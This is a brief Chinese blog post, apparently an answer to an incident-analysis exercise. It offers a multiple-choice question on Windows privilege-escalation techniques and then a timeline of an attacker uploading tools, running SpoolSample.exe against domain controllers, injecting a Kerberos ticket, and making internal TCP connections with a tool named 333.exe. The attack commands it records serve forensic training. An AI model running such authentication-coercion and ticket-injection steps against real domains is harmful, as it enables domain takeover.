A.CVE-2021-1675(Windows Print Spooler权限提升) B.约束委派 C.无约束委派 D.MS14-025

24/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具

img

24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02

img

24/12/18 10:53:02.000 注入票据

img

24/12/18 16:35:22 攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接

img

24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接

img

posted @ 2025-10-29 14:37  Super_Snow_Sword  阅读(21)  评论(0)    收藏  举报